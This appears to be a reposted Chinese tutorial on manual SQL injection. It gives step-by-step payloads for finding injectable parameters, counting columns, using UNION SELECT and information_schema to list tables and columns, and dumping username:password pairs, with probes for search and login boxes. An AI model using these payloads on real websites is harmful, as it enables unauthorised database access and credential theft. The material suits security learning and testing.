簡單sql注入(手注)


一、Sql簡單手注的一般思路:

1、 先看是不是注入點(字符型、整型)

2、 判斷字段數

3、 判斷是否可以用union聯合查詢(是否有顯示位)

4、 獲取所有數據庫名

5、 獲取數據庫中表名

6、 獲取表中的字段名

7、 獲取字段中的信息數據

 

1、 先看是不是注入點

*加單引號 (‘)如果報錯則可能存在

 輸入?2-1頁面變化(數值型)

*數字型:and 1=1正常;and 1=2報錯

              or 2>1 正常;or 1>2 報錯

              xor 1=1 報錯;xor 1=2 正常

              and 1=1 url編碼:%41%4E%44%20%%31%3D%31

              -0 頁面不變;-1頁面錯誤

*字符型:閉合方式加單引號(雙引號、圓括號)

              加#;%27;--+是否可以閉合

              ‘and ‘1’=’1正常;’and ‘1’=’2報錯

*終止字符串:--;#;%23;%00;/*

 終止方法:--,‘--,’)--,)--,’))--,))—

 

2、 判斷字段數

1’ order by 1 --+

1’ order by 2 --+

…直到報錯

(數字型注入的參數是正確的或沒有單引號)

 

3、 判斷是否可以用union聯合查詢(是否有顯示位)

1‘ union select 1,2,3… --+

 

4、 獲取所有數據庫名

1‘ union select 1,2,database() --+

@@basedir 查詢數據庫安裝路徑

@@datadir 查詢數據庫所在目錄

version() 查詢數據庫的版本

user() 查詢當前數據庫的使用用戶

database() 當前使用數據庫的名字

 

5、 獲取數據庫中的表名

id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

 

6、獲取表中的字段

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

 

7、獲取字段的信息數據

id=0' union select 1,group_concat(username,0x3a,password),3 from users --+

 

二、其他簡單注入

1、搜索框

搜索’,&,[,],%,$,@等特殊字符,如果返回正常可能存在注入

%' and 1=1 and '%'='% ;%' and 1=2 and '%'='%

2、登錄框

使用#,--都無效,但是使用\報錯,這時候上sqlmap,可能有注入


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM